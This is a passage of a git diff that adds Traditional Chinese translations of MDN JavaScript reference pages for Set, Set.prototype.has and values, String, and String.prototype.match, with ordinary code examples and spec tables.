+<p><strong>Note:</strong> 技術上來說，<code>has()</code> 使用了 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Same-value-zero_equality">sameValueZero</a></code> 算法來判斷給定元素的存在與否。</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_has_方法">使用 <code>has</code> 方法</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.has('foo');  // returns true
+mySet.has('bar');  // returns false
+
+var set1 = new Set();
+var obj1 = {'key1': 1};
+set1.add(obj1);
+
+set1.has(obj1);        // returns true
+set1.has({'key1': 1}); // returns false because they are different object references
+set1.add({'key1': 1}); // now set1 contains 2 entries
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.has")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.add()")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/index.html
new file mode 100644
index 0000000000..2b3f80fdd1
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/index.html
@@ -0,0 +1,243 @@
+---
+title: Set
+slug: Web/JavaScript/Reference/Global_Objects/Set
+tags:
+  - ECMAScript 2015
+  - Global Objects
+  - JavaScript
+  - Object
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Set</code></strong> 物件可讓你儲存任何類型的唯一值（unique），不論是{{Glossary("Primitive", "基本型別（primitive）值")}}或物件參考（references）。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">new Set([<em>iterable</em>]);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>若一個<a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of">可迭代物件</a>被傳入，其所有的元素將會被加入至新的 <code>Set</code>。若你沒有指定此參數，或參數值為 <code>null</code>，則新的 <code>Set</code> 會是空的。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 <code>Set</code> 物件。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>Set</code> 對象是數值的收集器。您可以按插入順序迭代收集器中的元素。在 <code>Set</code> 裡的元素只會出現一次<strong>；</strong> 意即在<code>Set</code>裡的元素都是獨一無二</p>
+
+<h3 id="值的相等性">值的相等性</h3>
+
+<p>因為在 Set 裡每個值都是獨立的，所以都會檢查值的相等性。在早期的ECMAScript規範版本中，此處算法跟基於===操作符中使用的算法並不相同。具體來說，在 <code>Set</code>裡+0(在嚴格模式是和-0相等)和-0是不同的值。然而在 ECMAScript 2015規範中這點已被更改。請參閱 <a href="#Browser_compatibility">瀏覽器兼容性</a> 中的"Value equality for -0 and 0"。</p>
+
+<p>另外，NaN和undefined都可以被放置在Set 中， NaN之間被視為相同的值（儘管 NaN !== NaN）。</p>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>The value of the <code>length</code> property is 0.</dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>The constructor function that is used to create derived objects.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd>Represents the prototype for the <code>Set</code> constructor. Allows the addition of properties to all <code>Set</code> objects.</dd>
+</dl>
+
+<h2 id="Set_物件實體"><code>Set</code> 物件實體</h2>
+
+<p>All <code>Set</code> instances inherit from {{jsxref("Set.prototype")}}.</p>
+
+<h3 id="屬性">屬性</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}</p>
+
+<h3 id="方法">方法</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Set_物件">使用 <code>Set</code> 物件</h3>
+
+<pre class="brush: js notranslate">var mySet = new Set();
+
+mySet.add(1); // Set [ 1 ]
+mySet.add(5); // Set [ 1, 5 ]
+mySet.add(5); // Set [ 1, 5 ]
+mySet.add('some text'); // Set [ 1, 5, 'some text' ]
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.add({a: 1, b: 2}); // o is referencing a different object so this is okay
+
+mySet.has(1); // true
+mySet.has(3); // false, 3 has not been added to the set
+mySet.has(5);              // true
+mySet.has(Math.sqrt(25));  // true
+mySet.has('Some Text'.toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // removes 5 from the set
+mySet.has(5);    // false, 5 has been removed
+
+mySet.size; // 4, we just removed one value
+console.log(mySet);// Set [ 1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2} ]</pre>
+
+<h3 id="迭代_Sets">迭代 Sets</h3>
+
+<pre class="brush: js notranslate">// iterate over items in set
+// logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}
+for (let item of mySet) console.log(item);
+
+// logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}
+for (let item of mySet.keys()) console.log(item);
+
+// logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}
+for (let item of mySet.values()) console.log(item);
+
+// logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}
+//(key and value are the same here)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// convert Set object to an Array object, with <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from">Array.from</a>
+var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}]
+
+// the following will also work if run in an HTML document
+mySet.add(document.body);
+mySet.has(document.querySelector('body')); // true
+
+// converting between Set and Array
+mySet2 = new Set([1, 2, 3, 4]);
+mySet2.size; // 4
+[...mySet2]; // [1, 2, 3, 4]
+
+// intersect can be simulated via
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// difference can be simulated via
+var difference = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// Iterate set entries with forEach
+mySet.forEach(function(value) {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="實作基本的_set_操作">實作基本的 set 操作</h3>
+
+<pre class="brush: js notranslate">Set.prototype.isSuperset = function(subset) {
+    for (var elem of subset) {
+        if (!this.has(elem)) {
+            return false;
+        }
+    }
+    return true;
+}
+
+Set.prototype.union = function(setB) {
+    var union = new Set(this);
+    for (var elem of setB) {
+        union.add(elem);
+    }
+    return union;
+}
+
+Set.prototype.intersection = function(setB) {
+    var intersection = new Set();
+    for (var elem of setB) {
+        if (this.has(elem)) {
+            intersection.add(elem);
+        }
+    }
+    return intersection;
+}
+
+Set.prototype.difference = function(setB) {
+    var difference = new Set(this);
+    for (var elem of setB) {
+        difference.delete(elem);
+    }
+    return difference;
+}
+
+//Examples
+var setA = new Set([1, 2, 3, 4]),
+    setB = new Set([2, 3]),
+    setC = new Set([3, 4, 5, 6]);
+
+setA.isSuperset(setB); // =&gt; true
+setA.union(setC); // =&gt; Set [1, 2, 3, 4, 5, 6]
+setA.intersection(setC); // =&gt; Set [3, 4]
+setA.difference(setC); // =&gt; Set [1, 2]
+
+</pre>
+
+<h3 id="與_Array_物件關聯">與 <code>Array</code> 物件關聯</h3>
+
+<pre class="brush: js notranslate">var myArray = ['value1', 'value2', 'value3'];
+
+// Use the regular Set constructor to transform an Array into a Set
+var mySet = new Set(myArray);
+
+mySet.has('value1'); // returns true
+
+// Use the spread operator to transform a set into an Array.
+console.log([...mySet]); // Will show you exactly the same Array as myArray</pre>
+
+<h3 id="與_Strings_關聯">與 <code>Strings</code> 關聯</h3>
+
+<pre class="brush: js notranslate">var text = 'India';
+
+var mySet = new Set(text);  // Set ['I', 'n', 'd', 'i', 'a']
+mySet.size;  // 5
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/set/values/index.html b/files/zh-tw/web/javascript/reference/global_objects/set/values/index.html
new file mode 100644
index 0000000000..bb136ba806
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/set/values/index.html
@@ -0,0 +1,79 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Set/values
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 方法
+  - 迭代器
+  - 集合
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>values()</strong></code> 方法回傳一個 <code>Iterator</code> 物件，包含著 <code>Set</code> 物件中所有元素，由插入順序排序。</p>
+
+<p><strong><code>keys()</code></strong> 是這個方法的替身 (為了與 {{jsxref("Map")}} 物件保持相似性)；他運行的完全一模一樣，回傳 <code>Set</code> 中元素的 <strong>values</strong> 。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.values();
+</code></pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個 <code>Iterator</code> 物件，包含著 <code>Set</code> 物件中所有元素，由插入順序排序。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_values()">使用 <code>values()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foo');
+mySet.add('bar');
+mySet.add('baz');
+
+var setIter = mySet.values();
+
+console.log(setIter.next().value); // "foo"
+console.log(setIter.next().value); // "bar"
+console.log(setIter.next().value); // "baz"</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.values")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/index.html b/files/zh-tw/web/javascript/reference/global_objects/string/index.html
new file mode 100644
index 0000000000..ad4474693a
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/string/index.html
@@ -0,0 +1,328 @@
+---
+title: 字串
+slug: Web/JavaScript/Reference/Global_Objects/String
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<p>{{JSRef("Global_Objects", "String")}}</p>
+
+<p><strong><code>String</code></strong> 全域物件為字串的構造函數，或是一個字符序列。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<p>字串文字採用下列形式：</p>
+
+<pre>'string text' "string text" "中文 español deutsch English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ் עברית"</pre>
+
+<p>字串也可以被全域的 <code>String</code> 物件建立：</p>
+
+<pre>String(thing)</pre>
+
+<h3 id="Parameters" name="Parameters">參數</h3>
+
+<dl>
+ <dt><code>thing</code></dt>
+ <dd>任何要轉換成字串的物件。</dd>
+</dl>
+
+<h3 id="樣板字面值">樣板字面值</h3>
+
+<p>自 ECMAScript 2015，字串文字也可以是<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Template_literals">樣板字面值（Template literals）</a>：</p>
+
+<pre>`hello world` `hello! world!` `hello ${who}` escape `&lt;a&gt;${who}&lt;/a&gt;`</pre>
+
+<h3 id="跳脫符號">跳脫符號</h3>
+
+<p>除了常規的、可印出來的字元，特殊字元也可以被跳脫符號來表示編碼。</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">代碼</th>
+   <th scope="col">輸出</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>空字元</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>單引號</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>雙引號</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>反斜線</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>斷行</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>回車</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>垂直制表</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>制表</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>退格</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>饋頁</td>
+  </tr>
+  <tr>
+   <td><code>\uXXXX</code></td>
+   <td>unicode 代碼</td>
+  </tr>
+  <tr>
+   <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code></td>
+   <td>unicode 代碼 {{experimental_inline}}</td>
+  </tr>
+  <tr>
+   <td><code>\xXX</code></td>
+   <td>Latin-1 字元</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+</dl>
+
+<div class="note">
+<p>和其他語言不同，JavaScript 將單引號字串和雙引號字串是做相同；因此，上述的序列可以在單引號或雙引號中作用。</p>
+</div>
+
+<dl>
+</dl>
+
+<h3 id="長字面值字串">長字面值字串</h3>
+
+<p>有些時候，你的程式碼會包含非常長的字串。 為了不讓長字串無止盡地往下長，抑或是在你心血來潮的時候，你可能希望將這樣長的字串能夠斷成多行卻不影響到實際的內容。</p>
+
+<p>你可以用 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition_()">+</a> 運算子附加多個字串在一起，像是這樣：</p>
+
+<pre><code>let longString = "This is a very long string which needs " +
+                 "to wrap across multiple lines because " +
+                 "otherwise my code is unreadable.";</code></pre>
+
+<p>或者，你可以在每一行尾端用反斜線字元("\")表示字串會繼續被顯示在下一列。 你必須要確定在反斜線後面沒有任何空白或其他字元，甚至是縮排；否則這個方法將失效。 這個形式看起來像這樣：</p>
+
+<pre><code>let longString = "This is a very long string which needs \
+to wrap across multiple lines because \
+otherwise my code is unreadable.";</code></pre>
+
+<p>這兩個方法都會建立相同的字串內容。</p>
+
+<h2 id="Description" name="Description">說明</h2>
+
+<p>字串對於能保留以文字形式表達的資料這件事來說，是有用的。在字串上，一些最常被使用的運算即確認字串長度 {{jsxref("String.length", "length")}} ，用 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ 或 += 字串運算元</a> 建造或者串接字串，用 {{jsxref("String.indexOf", "indexOf")}} 方法檢查?子字串是否存在或子字串的位置，或者是用 {{jsxref("String.substring", "substring")}} 方法將子字串抽取出來。</p>
+
+<h3 id="Character_access" name="Character_access">存取字元</h3>
+
+<p>有兩個方法可以存取字串中個別的字元。第一個是用 {{jsxref("String.charAt", "charAt")}} 方法：</p>
+
+<pre class="brush: js">return 'cat'.charAt(1); // 回傳 "a"
+</pre>
+
+<p>另一個(在ECMAScript 5中被提到)方法是將字串當作一個類似陣列的物件，直接存取字串中對應的數值索引。</p>
+
+<pre class="brush: js">return 'cat'[1]; // 回傳 "a"
+</pre>
+
+<p>對於存取字元使用的括號表達式，沒辦法去刪除或指派一個值給這些屬性。 這些屬性既非可寫的，也非可設定的。(參見 {{jsxref("Object.defineProperty")}})</p>
+
+<h3 id="Comparing_strings" name="Comparing_strings">比較字串</h3>
+
+<p>C 語言的開發者有 <code>strcmp()</code> 函式可以用來比較字串。 在 JavaScript 中，你只能用<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">小於和大於運算子</a>：</p>
+
+<pre class="brush: js">var a = "a";
+var b = "b";
+if (a &lt; b) // true
+  print(a + " 小於 " + b);
+else if (a &gt; b)
+  print(a + " 大於 " + b);
+else
+  print(a + " 和 " + b + " 相等");
+</pre>
+
+<p>這樣類似的結果，也能使用繼承 <code>String</code> 實體的 {{jsxref("String.localeCompare", "localeCompare")}} 方法來實現。</p>
+
+<h3 id="分辨_string_原始型別和_String_物件">分辨 string 原始型別和 <code>String</code> 物件</h3>
+
+<p>請注意，JavaScript 會區別 <code>String</code> 物件和原始字串({{jsxref("Global_Objects/Boolean", "Boolean")}} 和 {{jsxref("Global_Objects/Number", "Numbers")}} 也是如此)。</p>
+
+<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> keyword</a>) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p>
+
+<pre class="brush: js">var s_prim = "foo";
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // 印出 "string"
+console.log(typeof s_obj);  // 印出 "object"
+</pre>
+
+<p>字串原始型別和 <code>String</code> 物件也會在使用 {{jsxref("Global_Objects/eval", "eval")}} 時給出不同的結果。 原始型別傳進 <code>eval</code> 會被視為原始代碼；<code>String</code> 物件則會回傳，且被視作是其他物件。舉個例子：</p>
+
+<pre class="brush: js">s1 = "2 + 2";               // 建立一個字串原始型別
+s2 = new String("2 + 2");   // 建立一個字串物件
+console.log(eval(s1));      // 回傳數字 4
+console.log(eval(s2));      // 回傳字串 "2 + 2"
+</pre>
+
+<p>因為一些原因，程式碼也許在遇到 <code>String</code> 物件時，但需要的卻是字串原始型別；儘管如此，通常作者們不需要擔心它的差異。</p>
+
+<p>一個 <code>String</code> 物件總能夠使用 {{jsxref("String.valueOf", "valueOf")}} 方法被轉換成自身的原始副本。</p>
+
+<pre class="brush: js">console.log(eval(s2.valueOf())); // 回傳數字 4
+</pre>
+
+<div class="note"><strong>注意：</strong> 對於在 JavaScript 中其他可用的字串方法，請參閱這篇文章<a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a>。</div>
+
+<h2 id="Properties" name="Properties">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>能讓字串物件增加屬性。</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Properties", "prototype")}}</div>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>利用 Unicode 值的序列建立並回傳一個字串。</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt>
+ <dd>利用編碼位置的序列建立並回傳一個字串。</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Methods", "fromCharCode", "fromCodePoint")}}</div>
+
+<h2 id="String_通用方法"><code>String</code> 通用方法</h2>
+
+<div class="warning">
+<p>字串通用方法是非標準化的、被棄用的，也有近期將被刪除的。</p>
+</div>
+
+<p>The <code>String </code>instance methods are also available in Firefox as of JavaScript 1.6 (though not part of the ECMAScript standard) on the String object for applying String methods to any object:</p>
+
+<pre class="brush: js">var num = 15;
+alert(String.replace(num, /5/, '2'));
+</pre>
+
+<p class="brush: js"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array#Array_generic_methods">Generics</a> are also available on {{jsxref("Global_Objects/Array", "Array")}} methods.</p>
+
+<p class="brush: js">The following is a shim to provide support to non-supporting browsers:</p>
+
+<pre class="brush: js">/*globals define*/
+// Assumes all supplied String instance methods already present
+// (one may use shims for these if not available)
+(function () {
+    'use strict';
+
+    var i,
+        // We could also build the array of methods with the following, but the
+        //   getOwnPropertyNames() method is non-shimable:
+        // Object.getOwnPropertyNames(String).filter(function (methodName)
+        //  {return typeof String[methodName] === 'function'});
+        methods = [
+            'quote', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
+            'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
+            'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase',
+            'toLocaleUpperCase', 'localeCompare', 'match', 'search',
+            'replace', 'split', 'substr', 'concat', 'slice'
+        ],
+        methodCount = methods.length,
+        assignStringGeneric = function (methodName) {
+            var method = String.prototype[methodName];
+            String[methodName] = function (arg1) {
+                return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
+            };
+        };
+
+    for (i = 0; i &lt; methodCount; i++) {
+        assignStringGeneric(methods[i]);
+    }
+}());</pre>
+
+<h2 id="String_instances" name="String_instances"><code>String</code> instances</h2>
+
+<h3 id="Properties_2">Properties</h3>
+
+<p>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Properties')}}</p>
+
+<p>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods')}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="String_conversion">String conversion</h3>
+
+<p>It's possible to use <code>String</code> as a "safer" {{jsxref("String.toString", "toString")}} alternative, as although it still normally calls the underlying <code>toString</code>, it also works for <code>null</code> and <code>undefined</code>. For example:</p>
+
+<pre class="brush: js">var outputStrings = [];
+for (let i = 0, n = inputValues.length; i &lt; n; ++i) {
+  outputStrings.push(String(inputValues[i]));
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.String")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/match/index.html b/files/zh-tw/web/javascript/reference/global_objects/string/match/index.html
new file mode 100644
index 0000000000..664b28462f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/string/match/index.html
@@ -0,0 +1,151 @@
+---
+title: String.prototype.match()
+slug: Web/JavaScript/Reference/Global_Objects/String/match
+translation_of: Web/JavaScript/Reference/Global_Objects/String/match
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>match()</code></strong> method retrieves the matches when matching a <em>string</em> against a <em>regular expression</em>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>str</var>.match(<var>regexp</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>一個正規表達式的物件。 若傳入一個非正規表達式的物件<code>obj</code>，則會視為傳入 <code>new RegExp(obj)</code>。若只呼叫<code>match()</code>而沒有傳入任何參數，則會回傳內含一個空字串的陣列，即<code>[""]</code>。</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>If the string matches the expression, it will return an {{jsxref("Array")}} containing the entire matched string as the first element, followed by any results captured in parentheses. If there were no matches, {{jsxref("null")}} is returned.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>If the regular expression does not include the <code>g</code> flag, <code>str.match()</code> will return the same result as {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}. The returned {{jsxref("Array")}} has an extra <code>input</code> property, which contains the original string that was parsed. In addition, it has an <code>index</code> property, which represents the zero-based index of the match in the string.</p>
+
+<p>If the regular expression includes the <code>g</code> flag, the method returns an {{jsxref("Array")}} containing all matched substrings rather than match objects. Captured groups are not returned. If there were no matches, the method returns {{jsxref("null")}}.</p>
+
+<h3 id="See_also_RegExp_methods">See also: <code>RegExp</code> methods</h3>
+
+<ul>
+ <li>If you need to know if a string matches a regular expression {{jsxref("RegExp")}}, use {{jsxref("RegExp.prototype.test()", "RegExp.test()")}}.</li>
+ <li>If you only want the first match found, you might want to use {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} instead.</li>
+ <li>if you want to obtain capture groups and the global flag is set, you need to use {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} instead.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_match()">Using <code>match()</code></h3>
+
+<p>In the following example, <code>match()</code> is used to find <code>'Chapter'</code> followed by 1 or more numeric characters followed by a decimal point and numeric character 0 or more times. The regular expression includes the <code>i</code> flag so that upper/lower case differences will be ignored.</p>
+
+<pre class="brush: js">var str = 'For more information, see Chapter 3.4.5.1';
+var re = /see (chapter \d+(\.\d)*)/i;
+var found = str.match(re);
+
+console.log(found);
+
+// logs [ 'see Chapter 3.4.5.1',
+//        'Chapter 3.4.5.1',
+//        '.1',
+//        index: 22,
+//        input: 'For more information, see Chapter 3.4.5.1' ]
+
+// 'see Chapter 3.4.5.1' is the whole match.
+// 'Chapter 3.4.5.1' was captured by '(chapter \d+(\.\d)*)'.
+// '.1' was the last value captured by '(\.\d)'.
+// The 'index' property (22) is the zero-based index of the whole match.
+// The 'input' property is the original string that was parsed.</pre>
+
+<h3 id="Using_global_and_ignore_case_flags_with_match()">Using global and ignore case flags with <code>match()</code></h3>
+
+<p>The following example demonstrates the use of the global and ignore case flags with <code>match()</code>. All letters A through E and a through e are returned, each its own element in the array.</p>
+
+<pre class="brush: js">var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+var regexp = /[A-E]/gi;
+var matches_array = str.match(regexp);
+
+console.log(matches_array);
+// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']
+</pre>
+
+<h3 id="Using_match()_with_no_parameter">Using <code>match()</code> with no parameter</h3>
+
+<pre class="brush: js">var str = "Nothing will come of nothing.";
+
+str.match();   // returns [""]</pre>
+
+<h3 id="A_non-RegExp_object_as_the_parameter">A non-RegExp object as the parameter</h3>
+
+<p>When the parameter is a string or a number, it is implicitly converted to a {{jsxref("RegExp")}} by using new RegExp(obj). If it is a positive number with a positive sign,the RegExp() method will ignore the positive sign. </p>
+
+<pre class="brush: js">var str1 = "NaN means not a number. Infinity contains -Infinity and +Infinity in JavaScript.",
+    str2 = "My grandfather is 65 years old and My grandmother is 63 years old.",
+    str3 = "The contract was declared null and void.";
+str1.match("number");   // "number" is a string. returns ["number"]
+str1.match(NaN);        // the type of NaN is the number. returns ["NaN"]
+str1.match(Infinity);   // the type of Infinity is the number. returns ["Infinity"]
+str1.match(+Infinity);  // returns ["Infinity"]
+str1.match(-Infinity);  // returns ["-Infinity"]
+str2.match(65);         // returns ["65"]
+str2.match(+65);        // A number with a positive sign. returns ["65"]
